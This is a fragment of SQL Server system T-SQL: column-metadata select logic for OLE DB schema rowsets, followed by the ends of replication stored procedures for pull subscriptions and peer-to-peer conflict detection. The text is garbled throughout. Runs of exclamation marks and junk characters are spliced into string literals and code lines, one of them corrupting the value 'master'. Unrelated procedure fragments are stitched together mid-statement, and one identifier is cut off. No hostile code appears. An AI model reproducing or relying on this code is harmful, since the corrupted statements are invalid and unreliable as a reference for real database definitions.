                                            case when d.oledb_data_type in (129, 130, 141) --DBTYPE_STR/DBTYPE_WSTR/DBTYPE_XML
                                            then N'dbo' 
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                            then N'dbo' -- new datetime types use the default dbo schema
                                            else null 
                                            end),
        CHARACTER_SET_NAME      = convert(sysname,
                                            case when d.oledb_data_type in (129, 130) --DBTYPE_STR, DBTYPE_WSTR
                                            then CollationProperty(c.collation_name, 'sqlcharsetname')
                                            else null
                                            end),
        CHARACTER_SET_NAME_90   = convert(sysname, -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 130) --DBTYPE_STR, DBTYPE_WSTR
                                            then CollationProperty(c.collation_name, 'sqlcharsetname')
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                            then CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')), 'sqlcharsetname')
                                             -- for new datetime types use the database default charset collation
                                            else null
                                            end),
        CHARACTER_SET_NAME_28   = convert(sysname, -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 130) --DBTYPE_STR, DBTYPE_WSTR
                                            then CollationProperty(c.collation_name, 'sqlcharsetname')
                                            when d.oledb_data_type = 141 --DBTYPE_XML
                                            then CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')), 'sqlcharsetname')
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                            then CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')), 'sqlcharsetname')
                                             -- for new datetime types use the database default charset collation
                                            else null
                                            end),
        COLLATION_CATALOG       = convert(sysname,
                                            case when d.oledb_data_type in (129, 130) --DBTYPE_STR, DBTYPE_WSTR
                                            then N'mas!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(;"~yvf}ter'
                                            else null
                                            end),
        COLLATION_CATALOG_90    = convert(sysname, -- for backward compatibility
                                            case when d.oledb_data_type in (129, 130) --DBTYPE_STR/DBTYPE_WSTR/DBTYPE_XML
                                            then N'master'
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                            then N'master' -- new datetime types use master as their collation catalog
                                            else null
                                            end),
        COLLATION_CATALOG_28    = convert(sysname, -- for backward compatibility
                                            case when d.oledb_data_type in (129, 130, 141) --DBTYPE_STR/DBTYPE_WSTR/DBTYPE_XML
                                            then N'master'
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                            then N'master' -- new datetime types use master as their collation catalog
                                            else null
                                            end),
        COLLATION_SCHEMA        = convert(sysname,
                                            case when d.oledb_data_type in (129, 130) --DBTYPE_STR, DBTYPE_WSTR
                                            then N'dbo'
                                            else null
                                            end) collate catalog_default,
        COLLATION_SCHEMA_90     = convert(sysname, -- for backward compatibility
                                            case when d.oledb_data_type in (129, 130) --DBTYPE_STR/DBTYPE_WSTR/DBTYPE_XML
                                            then N'dbo' 
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                            then N'dbo' -- new datetime types use the default schema
                                            else null
                                            end) collate catalog_default,
        COLLATION_SCHEMA_28     = convert(sysname, -- for backward compatibility
                                            case when d.oledb_data_type in (129, 130, 141) --DBTYPE_STR/DBTYPE_WSTR/DBTYPE_XML
                                            then N'dbo' 
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                            then N'dbo' -- new datetime types use the default schema
                                            else null
                                            end) collate catalog_default,
        COLLATION_NAME          = convert(sysname, c.collation_name),
        COLLATION_NAME_90       = convert(sysname, -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 130) --DBTYPE_STR/DBTYPE_WSTR
                                                then c.collation_name
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                                then databasepropertyex(db_name(), 'collation') -- new datetime types have no column collation
                                            else null
                                            end),
        COLLATION_NAME_28       = convert(sysname, -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 130) --DBTYPE_STR/DBTYPE_WSTR
                                                then c.collation_name
                                            when d.oledb_data_type = 141 --DBTYPE_XML
                                                then databasepropertyex(db_name(), 'collation') -- no column collation for xml, so use database default
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                                then databasepropertyex(db_name(), 'collation') -- new datetime types have no column collation
                                            else null
                                            end),
        DOMAIN_CATALOG          = case when c.user_type_id < 256 -- regular types, without SQL UDTs
                                  then null
                                  else db_name()
                                  end,
        DOMAIN_SCHEMA           = case when c.user_type_id < 256 -- regular types, without SQL UDTs
                                  then null
                                  else schema_name(o.schema_id)
                                  end,
        DOMAIN_NAME             = case when c.user_type_id < 256 -- regular types, without SQL UDTs
                                  then null
                                  else type_name(c.user_type_id)
                                  end,
        DESCRIPTION             = convert(nvarchar(1),null),
        COLUMN_LCID             = convert(int, CollationProperty(c.collation_name, 'lcid')),
        COLUMN_LCID_90          = convert(int, -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 130) --DBTYPE_STR/DBTYPE_WSTR
                                                then CollationProperty(c.collation_name, 'lcid')
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                                then CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')), 'lcid')
                                                 -- new datetime types use the database default lcid collation
                                            else null
                                            end),
        COLUMN_LCID_28          = convert(int, -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 130) --DBTYPE_STR/DBTYPE_WSTR
                                                then CollationProperty(c.collation_name, 'lcid')
                                            when d.oledb_data_type = 141 --DBTYPE_XML
                                                then CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')), 'lcid') 
                                                 -- no column collation for xml, so use database default
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                                then CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')), 'lcid') 
                                                 -- new datetime types use the database default lcid collation
                                            else null
                                            end),
        COLUMN_COMPFLAGS        = convert(int, CollationProperty(c.collation_name, 'oledbcompstyle')),
        COLUMN_COMPFLAGS_90     = convert(int, -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 130) --DBTYPE_STR/DBTYPE_WSTR
                                                then CollationProperty(c.collation_name, 'oledbcompstyle')
                                            when d.ss_dtype in (40, 41, 42, 43)
                                                then CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')),'oledbcompstyle')
                                            else null
                                            end),
        COLUMN_COMPFLAGS_28     = convert(int, -- for backward compatibility
                          !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(;$bY
vf}                  case
                                            when d.oledb_data_type in (129, 130) --DBTYPE_STR/DBTYPE_WSTR
                                                then CollationProperty(c.collation_name, 'oledbcompstyle')
                                            when d.oledb_data_type = 141 --DBTYPE_XML
                                                -- no column collation for xml, so use database default
                                                then CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')),'oledbcompstyle')
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                                then CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')),'oledbcompstyle')
                                            else null
                                            end),
        COLUMN_SORTID           = nullif(convert(int, DATABASEPROPERTYEX(db_name(),'sqlsortorder')), 0),
        COLUMN_TDSCOLLATION     = convert(binary(5),CollationProperty(c.collation_name, 'TDSCollation')),
        COLUMN_TDSCOLLATION_90  = convert(binary(5), -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 130) --DBTYPE_STR/DBTYPE_WSTR
                                                then CollationProperty(c.collation_name, 'TDSCollation')
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                                then CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')),'TDSCollation')
                                            else null
                                            end),
        COLUMN_TDSCOLLATION_28  = convert(binary(5), -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 130) --DBTYPE_STR/DBTYPE_WSTR
                                                then CollationProperty(c.collation_name, 'TDSCollation')
                                            when d.oledb_data_type = 141 --DBTYPE_XML
                                                -- no column collation for xml, so use database default
                                                then CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')),'TDSCollation')
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                                then CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')),'TDSCollation')
                                            else null
                                            end),
        IS_COMPUTED             = convert(bit, ColumnProperty(c.object_id, c.name, 'IsComputed')),
        SS_XML_SCHEMACOLLECTION_CATALOGNAME = convert(sysname,
                                              case when (d.ss_dtype = 241 and xsc.name is not null)
                                              then db_name()
                                              else null
                                              end),
        SS_XML_SCHEMACOLLECTION_SCHEMANAME  = convert(sysname,
                                              case when (d.ss_dtype = 241 and xsc.name is not null)
                                              then schema_name(xsc.schema_id)
                                              else null
                                              end),
        SS_XML_SCHEMACOLLECTIONNAME         = convert(sysname, xsc.name),
        SS_UDT_CATALOGNAME      = convert(sysname,
                                            case when d.ss_dtype = 240 -- CLR UDT
                                            then db_name()
                                            else null
                                            end),
        SS_UDT_SCHEMANAME       = convert(sysname, schema_name(u.schema_id)),
        SS_UDT_NAME             = convert(sysname, u.name),
        SS_UDT_ASSEMBLY_TYPENAME= u.assembly_qualified_name,
        SS_IS_SPARSE            = c.is_sparse,
        SS_IS_COLUMN_SET        = c.is_column_set

    from
        sys.columns c inner join
        sys.objects o on
            (
                o.object_id = c.object_id and
                o.type in ('U','V') -- user tables, views
            ) inner join
        sys.spt_provider_types d on
            (
                d.ss_dtype = c.system_type_id
            )
        left join
        sys.xml_schema_collections xsc on
            (
                xsc.xml_collection_id = c.xml_collection_id
            )
        left join
        sys.assembly_types u on
            (
                u.user_type_id = c.user_type_id
            )

     where
		(c.is_sparse = 0 or objectproperty(o.object_id, 'tablehascolumnset') = 0) and
        has_perms_by_name(quotename(schema_name(o.schema_id)) + '.' + quotename(o.name),
                          'object',
                          'select',
                          quotename(c.name),
                          'column') = 1

	UNION ALL

    select
    -- begin (for doing joins)
        object_id               = o.object_id,
        schema_id               = o.schema_id,
    -- end (for doing joins)
        TABLE_CATALOG           = db_name(),
        TABLE_SCHEMA            = schema_name(o.schema_id),
        TABLE_NAME              = o.name,
        COLUMN_NAME             = c.name,
        COLUMN_GUID             = convert(uniqueidentifier,null),
        COLUMN_PROPID           = convert(int,null),
        ORDINAL_POSITION        = convert(int, ColumnProperty(c.object_id, c.name, 'ordinal')),
        COLUMN_HASDEFAULT       = convert(bit,
                                            case
                                            when ColumnProperty(c.object_id, c.name, 'default') = 0 then 0
                                            else 1
                                            end),
        COLUMN_DEFAULT          = convert(nvarchar(2000),
                                          object_definition(ColumnProperty(c.object_id, c.name, 'default'))
                                         ),
        COLUMN_FLAGS            = convert(int,
                                            case when d.is_long = 1 or c.max_length = -1 -- 2nd condition is for varchar(MAX) types
                                            then 0x82 --DBCOLUMNFLAGS_ISLONG|DBCOLUMNFLAGS_MAYDEFER
                                            else 0
                                            end
                                        |   case when d.fixlen is not null
                                            then 0x10 --DBCOLUMNFLAGS_ISFIXEDLENGTH
                                            else 0
                                            end
                                        |   case when c.is_nullable = 1
                                            then 0x60 --DBCOLUMNFLAGS_ISNULLABLE|DBCOLUMNFLAGS_MAYBENULL
                                            else 0
                                            end
                                        |   case
                                            when d.ss_dtype = 189 -- 'timestamp'
                                                then 0x200 --DBCOLUMNFLAGS_ISROWVER
                                            when c.is_identity != 1 and 
                                                (has_perms_by_name(quotename(schema_name(o.schema_id)) + '.' + quotename(o.name),
                                                                    'OBJECT',
                                                                    'UPDATE',
                                                                    quotename(c.name),
                                                      !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(;*0@vf}              'COLUMN') = 1)
                                                then 0x4 --DBCOLUMNFLAGS_WRITE
                                            else 0
                                            end
                                        |   case
                                            when d.ss_dtype in (41, 42, 43) -- datetime2, time, datetimeoffset
                                                then 0x40000000 --DBCOLUMNFLAGS_SS_ISVARIABLESCALE
                                            else 0
                                            end),
        COLUMN_FLAGS_90         = convert(int,
                                            case when d.is_long = 1 or c.max_length = -1 -- 2nd condition is for varchar(MAX) types
                                            then 0x82 --DBCOLUMNFLAGS_ISLONG|DBCOLUMNFLAGS_MAYDEFER
                                            else 0
                                            end
                                        |   case when d.fixlen is not null and d.ss_dtype not in (40, 41, 42, 43)
                                            then 0x10 --DBCOLUMNFLAGS_ISFIXEDLENGTH
                                            else 0
                                            end
                                        |   case when c.is_nullable = 1
                                            then 0x60 --DBCOLUMNFLAGS_ISNULLABLE|DBCOLUMNFLAGS_MAYBENULL
                                            else 0
                                            end
                                        |   case
                                            when d.ss_dtype = 189 -- 'timestamp'
                                                then 0x200 --DBCOLUMNFLAGS_ISROWVER
                                            when c.is_identity != 1 and 
                                                (has_perms_by_name(quotename(schema_name(o.schema_id)) + '.' + quotename(o.name),
                                                                    'OBJECT',
                                                                    'UPDATE',
                                                                    quotename(c.name),
                                                                    'COLUMN') = 1)
                                                then 0x4 --DBCOLUMNFLAGS_WRITE
                                            else 0
                                            end),
        IS_NULLABLE             = c.is_nullable,
        DATA_TYPE               = d.oledb_data_type,
        DATA_TYPE_90            = convert(smallint,
                                            case -- Enable 9.0 downlevel clients to see new types.
                                            when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                                then 130 -- DBTYPE_WSTR
                                            when d.oledb_data_type = 132 and c.max_length = -1 then 128 -- Large UDT <--> DBTYPE_BYTES for 9.0 clients
                                            else d.oledb_data_type 
                                            end),
        DATA_TYPE_28            = convert(smallint,
                                            case -- Enable 8.0 downlevel clients to see new types.
                                            when d.oledb_data_type = 132 then 128 -- DBTYPE_UDT <--> DBTYPE_BYTES
                                            when d.oledb_data_type = 141 then 130 -- DBTYPE_XML <--> DBTYPE_WSTR
                                            when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                                then 130 -- DBTYPE_WSTR
                                            else d.oledb_data_type
                                            end),
        TYPE_GUID               = convert(uniqueidentifier,null),
        CHARACTER_MAXIMUM_LENGTH= convert(int,
                                            case
                                            when d.oledb_data_type in (129, 128) --DBTYPE_STR/DBTYPE_BYTES
                                                then isnull(d.column_size, -- special case text/ntext/image
                                                            (
                                                                case when c.max_length = -1 then 0
                                                                else c.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 130 --DBTYPE_WSTR
                                                then coalesce(d.column_size,c.max_length/2)
                                            when d.oledb_data_type = 132 and c.max_length = -1 -- Large UDT => Unlimited max length
                                                then 0
                                            when d.oledb_data_type = 132 -- Small UDT
                                                then c.max_length
                                            else null
                                            end),
        CHARACTER_MAXIMUM_LENGTH_90= convert(int,
                                            case
                                            when d.oledb_data_type in (129, 128) --DBTYPE_STR/DBTYPE_BYTES
                                                then isnull(d.column_size, -- special case text/ntext/image
                                                            (
                                                                case when c.max_length = -1 then 0
                                                                else c.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 130 --DBTYPE_WSTR
                                                then coalesce(d.column_size,c.max_length/2)
                                            when d.oledb_data_type = 132 --DBTYPE_UDT
                                                then c.max_length
                                            when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                                then c.precision
                                            else null
                                            end),
        CHARACTER_MAXIMUM_LENGTH_28= convert(int, -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 128) --DBTYPE_STR/DBTYPE_BYTES
                                                then isnull(d.column_size, -- special case text/image
                                                            (
                                                                case when c.max_length = -1 then 2147483647
                                                                else c.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 130 --DBTYPE_WSTR
                                                then isnull(d.column_size, -- special case ntext
                                                            (
                                                                case when c.max_length = -1 then 1073741823
                                                                else c.max_length/2
                                                                end
                                                            ))
                                            when d.oledb_data_type = 141 --DBTYPE_XML
                                   !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(;.S]=vf}             then 1073741823 -- match ntext value
                                            when d.oledb_data_type = 132 and c.max_length = -1 -- Large UDT => image for non-SNAC clients
                                                then 2147483647
                                            when d.oledb_data_type = 132 -- Small UDT
                                                then c.max_length
                                            when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                                then c.precision
                                            else null
                                            end),
        CHARACTER_OCTET_LENGTH  = convert(int,
                                            case when d.oledb_data_type in (129, 128) --DBTYPE_STR/DBTYPE_BYTES
                                                then isnull(d.column_size, -- special case text/ntext/image
                                                            (
                                                                case when c.max_length = -1 then 0
                                                                else c.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 130 --DBTYPE_WSTR
                                                then isnull(d.column_size*2, -- special case text/ntext/image
                                                            (
                                                                case when c.max_length = -1 then 0
                                                                else c.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 132 and c.max_length = -1 -- Large UDT => Unlimited Octet Length
                                                then 0
                                            when d.oledb_data_type = 132 -- Small UDT
                                                then c.max_length
                                            else null
                                            end),
        CHARACTER_OCTET_LENGTH_90= convert(int,
                                            case when d.oledb_data_type in (129, 128) --DBTYPE_STR/DBTYPE_BYTES
                                                then isnull(d.column_size, -- special case text/ntext/image
                                                            (
                                                                case when c.max_length = -1 then 0
                                                                else c.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 130 --DBTYPE_WSTR
                                                then isnull(d.column_size*2, -- special case text/ntext/image
                                                            (
                                                                case when c.max_length = -1 then 0
                                                                else c.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 132 --DBTYPE_UDT
                                                then c.max_length
                                            when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                                then c.precision*2
                                            else null
                                            end),
        CHARACTER_OCTET_LENGTH_28=convert(int, -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 128) --DBTYPE_STR/DBTYPE_BYTES
                                                then isnull(d.column_size, -- special case text/image
                                                            (
                                                                case when c.max_length = -1 then 2147483647
                                                                else c.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 130 --DBTYPE_WSTR
                                                then isnull(d.column_size*2, -- special case ntext
                                                            (
                                                                case when c.max_length = -1 then 2147483646
                                                                else c.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 141 --DBTYPE_XML
                                                then 2147483646 -- match ntext
                                            when d.oledb_data_type = 132 and c.max_length = -1 -- Large UDT => image for non-SNAC clients
                                                then 2147483647
                                            when d.oledb_data_type = 132 --DBTYPE_UDT
                                                then c.max_length
                                            when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                                then c.precision*2
                                            else null
                                            end),
        NUMERIC_PRECISION       = convert(smallint,
                                            case when d.oledb_data_type = 131 --DBTYPE_NUMERIC
                                                then c.precision
                                            when (d.fixed_prec_scale=1 or d.oledb_data_type in (5, 4)) -- DBTYPE_R4/DBTYPE_R8
                                                then d.data_precision
                                            else null
                                            end),
        NUMERIC_SCALE           = convert(smallint,
                                            case when d.oledb_data_type = 131 --DBTYPE_NUMERIC
                                            then odbcscale(c.system_type_id,c.scale)
                                            else null
                                            end),
                                  -- We could also include legacy datetime, smalldatetime in the first condition
                                  -- because the results are correct there also
        DATETIME_PRECISION      = convert(int,
                                            case when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                            then c.scale
                                            else d.datetime_precision
                                            end),
        DATETIME_PRECISION_90   = convert(int,
                                            case when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                            then null
                                            else d.datetime_precision
                                            end),
        CHARACTER_SET_CATALOG   = convert(sysname,
                                           !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(<<vf} case when d.oledb_data_type in (129, 130) --DBTYPE_STR, DBTYPE_WSTR
                                            then N'master'
                                            else null
                                            end),
        CHARACTER_SET_CATALOG_90= convert(sysname, -- for backward compatibility
                                            case when d.oledb_data_type in (129, 130) --DBTYPE_STR/DBTYPE_WSTR
                                            then N'master' 
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                            then N'master' -- new datetime types characterset catalog belongs to master
                                            else null 
                                            end),
        CHARACTER_SET_CATALOG_28= convert(sysname, -- for backward compatibility
                                            case when d.oledb_data_type in (129, 130, 141) --DBTYPE_STR/DBTYPE_WSTR/DBTYPE_XML
                                            then N'master' 
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                            then N'master' -- new datetime types characterset catalog belongs to master
                                            else null 
                                            end),
        CHARACTER_SET_SCHEMA    = convert(sysname,
                                            case when d.oledb_data_type in (129, 130) --DBTYPE_STR, DBTYPE_WSTR
                                            then N'dbo'
                                            else null
                                            end),
        CHARACTER_SET_SCHEMA_90 = convert(sysname, -- for backward compatibility
                                            case when d.oledb_data_type in (129, 130) --DBTYPE_STR/DBTYPE_WSTR/DBTYPE_XML
                                            then N'dbo' 
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                            then N'dbo' -- new datetime types use the default dbo schema
                                            else null 
                                            end),
        CHARACTER_SET_SCHEMA_28 = convert(sysname, -- for backward compatibility
                                            case when d.oledb_data_type in (129, 130, 141) --DBTYPE_STR/DBTYPE_WSTR/DBTYPE_XML
                                            then N'dbo' 
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                            then N'dbo' -- new datetime types use the default dbo schema
                                            else null 
                                            end),
        CHARACTER_SET_NAME      = convert(sysname,
                                            case when d.oledb_data_type in (129, 130) --DBTYPE_STR, DBTYPE_WSTR
                                            then CollationProperty(c.collation_name, 'sqlcharsetname')
                                            else null
                                            end),
        CHARACTER_SET_NAME_90   = convert(sysname, -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 130) --DBTYPE_STR, DBTYPE_WSTR
                                            then CollationProperty(c.collation_name, 'sqlcharsetname')
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                            then CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')), 'sqlcharsetname')
                                             -- for new datetime types use the database default charset collation
                                            else null
                                            end),
        CHARACTER_SET_NAME_28   = convert(sysname, -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 130) --DBTYPE_STR, DBTYPE_WSTR
                                            then CollationProperty(c.collation_name, 'sqlcharsetname')
                                            when d.oledb_data_type = 141 --DBTYPE_XML
                                            then CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')), 'sqlcharsetname')
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                            then CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')), 'sqlcharsetname')
                                             -- for new datetime types use the database default charset collation
                                            else null
                                            end),
        COLLATION_CATALOG       = convert(sysname,
                                            case when d.oledb_data_type in (129, 130) --DBTYPE_STR, DBTYPE_WSTR
                                            then N'master'
                                            else null
                                            end),
        COLLATION_CATALOG_90    = convert(sysname, -- for backward compatibility
                                            case when d.oledb_data_type in (129, 130) --DBTYPE_STR/DBTYPE_WSTR/DBTYPE_XML
                                            then N'master'
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                            then N'master' -- new datetime types use master as their collation catalog
                                            else null
                                            end),
        COLLATION_CATALOG_28    = convert(sysname, -- for backward compatibility
                                            case when d.oledb_data_type in (129, 130, 141) --DBTYPE_STR/DBTYPE_WSTR/DBTYPE_XML
                                            then N'master'
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                            then N'master' -- new datetime types use master as their collation catalog
                                            else null
                                            end),
        COLLATION_SCHEMA        = convert(sysname,
                                            case when d.oledb_data_type in (129, 130) --DBTYPE_STR, DBTYPE_WSTR
                                            then N'dbo'
                                            else null
                                            end),
        COLLATION_SCHEMA_90     = convert(sysname, -- for backward compatibility
                                            case when d.oledb_data_type in (129, 130) --DBTYPE_STR/DBTYPE_WSTR/DBTYPE_XML
                                            then N'dbo' 
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                            then N'dbo' -- new datetime types use the default schema
                                            else null
                                            end),
        COLLATION_SCHEMA_28     = convert(sysname, -- for backward compatibility
                                            case when d.oledb_data_type in (129, 130, 141) --DBTYPE_STR/DBTYPE_WSTR/DBTYPE_XML
                                            then N'dbo' 
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                            then N'dbo' -- new datetime types use the default schema
                                            else null
                                            end),
        COLLATION_NAME          = convert(sysname, c.collation_name),
        COLLATION!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<;
/2c            case when d.oledb_data_type in (129, 130) --DBTYPE_STR, DBTYPE_WSTR
                                            then N'master'
                                            else null
                                            end),
        CHARACTER_SET_SCHEMA    = convert(sysname,
                                            case when d.oledb_data_type in (129, 130) --DBTYPE_STR, DBTYPE_WSTR
                                            then N'dbo'
                                            else null
                                            end) collate catalog_default,
        CHARACTER_SET_NAME      = convert(sysname,
                                            case when d.oledb_data_type in (129, 130) --DBTYPE_STR, DBTYPE_WSTR
                                            then CollationProperty(c.collation_name, 'sqlcharsetname')
                                            else null
                                            end),
        COLLATION_CATALOG       = convert(sysname,
                                            case when d.oledb_data_type in (129, 130) --DBTYPE_STR, DBTYPE_WSTR
                                            then N'master'
                                            else null
                                            end),
        COLLATION_SCHEMA        = convert(sysname,
                                            case when d.oledb_data_type in (129, 130) --DBTYPE_STR, DBTYPE_WSTR
                                            then N'dbo'
                                            else null
                                            end) collate catalog_default,
        COLLATION_NAME          = convert(sysname, c.collation_name),
        DOMAIN_CATALOG          = case when c.user_type_id < 256 -- regular types, without SQL UDTs
                                  then null
                                  else db_name()
                                  end,
        DOMAIN_SCHEMA           = case when c.user_type_id < 256 -- regular types, without SQL UDTs
                                  then null
                                  else schema_name(o.schema_id)
                                  end,
        DOMAIN_NAME             = case when c.user_type_id < 256 -- regular types, without SQL UDTs
                                  then null
                                  else type_name(c.user_type_id)
                                  end,
        DESCRIPTION             = convert(nvarchar(1),null),
        COLUMN_LCID             = convert(int, CollationProperty(c.collation_name, 'lcid')),
        COLUMN_COMPFLAGS        = convert(int, CollationProperty(c.collation_name, 'oledbcompstyle')),
        COLUMN_SORTID           = nullif(convert(int, DATABASEPROPERTYEX(db_name(),'sqlsortorder')), 0),
        COLUMN_TDSCOLLATION     = convert(binary(5),CollationProperty(c.collation_name, 'TDSCollation')),
        IS_COMPUTED             = convert(bit, ColumnProperty(c.object_id, c.name, 'IsComputed')),
        SS_XML_SCHEMACOLLECTION_CATALOGNAME = convert(sysname,
                                              case when (d.ss_dtype = 241 and xsc.name is not null)
                                              then db_name()
                                              else null
                                              end),
        SS_XML_SCHEMACOLLECTION_SCHEMANAME  = convert(sysname,
                                              case when (d.ss_dtype = 241 and xsc.name is not null)
                                              then schema_name(xsc.schema_id)
                                              else null
                                              end),
        SS_XML_SCHEMACOLLECTIONNAME         = convert(sysname, xsc.name),
        SS_UDT_CATALOGNAME      = convert(sysname,
                                            case when d.ss_dtype = 240 -- CLR UDT
                                            then db_name()
                                            else null
                                            end),
        SS_UDT_SCHEMANAME       = convert(sysname, schema_name(u.schema_id)),
        SS_UDT_NAME             = convert(sysname, u.name),
        SS_UDT_ASSEMBLY_TYPENAME= u.assembly_qualified_name,
        SS_IS_SPARSE            = c.is_sparse,
        SS_IS_COLUMN_SET        = c.is_column_set

    from
        sys.all_columns c inner join
        sys.all_objects o on
            (
                o.object_id = c.object_id and
                o.type in ('S','U','V') -- limit columns to: tables, views
            ) inner join
        sys.spt_provider_types d on
            (
                d.ss_dtype = c.system_type_id
            )
        left join
        sys.xml_schema_collections xsc on
            (
                xsc.xml_collection_id = c.xml_collection_id
            )
        left join
        sys.assembly_types u on
            (
                u.user_type_id = c.user_type_id
            )

     where
        has_perms_by_name(quotename(schema_name(o.schema_id)) + '.' + quotename(o.name),
                          'object',
                          'select',
                          quotename(c.name),
                          'column') = 1
&&          @description,
                    getdate(),
                    0,
                    @update_mode_id,
                    @immediate_sync
                    )
    IF @@ERROR <> 0
    BEGIN
       RAISERROR (14057, 16, -1)
       GOTO UNDO
    END

    COMMIT TRAN
    RETURN (0)

UNDO:
    IF @@TRANCOUNT > 0
    begin
        ROLLBACK TRAN addpullsubscription
        COMMIT TRAN   
    end
    return 1
END
n"n''') +
														N',@originator_publication_id = ' + cast(@pubid as nvarchar) + 
														N',@originator_db_version = '  + cast(@current_db_version as nvarchar) + 
														N',@originator_id = ' + cast(@originator_id as nvarchar) +
														N',@originator_version = ' + cast(@@microsoftversion as nvarchar) +
							N' end'
									
		--execute locally first then posted to log
		exec @retcode = sys.sp_MSpeertopeerfwdingexec @command = @peercmdtxt, @publication = @publication
		if @@error <> 0 or @retcode <> 0
			goto UNDO
				
		commit tran
		return (0)
		
	end --@local is true
	else --@local is false
	begin 
		-- parameter check: @action
		if @action is NULL or (LOWER(@action) not in (N'enable', N'disable', N'continue_enable', N'continue_disable'))
		begin
			raiserror (22810, 16, -1)
			return (1)
		end
		select @action = LOWER(@action)

		if @action = N'enable' or @action = N'continue_enable'
		begin
			-- parameter check: @conflict_retention
			if (@conflict_retention < 0)
			begin
				raiserror(20050, 16, -1, 0)
				return (1)
			end

			-- parameter check: @continue_onconflict
			if LOWER(@continue_onconflict) not in (N'true', N'false')
			begin
				raiserror (14148, 16, -1, N'@continue_onconflict')
				return (1)
			end
		end
		
		-- parameter check: @timeout
		if @timeout <= 0
		begin
			raiserror (22811, 16, -1)
			return (1)
		end 

		return (0)
	end --@local is false
	

UNDO:
	rollback tran tr_sp_configure_p2pcd
	commit tran
	return (1)
	
end
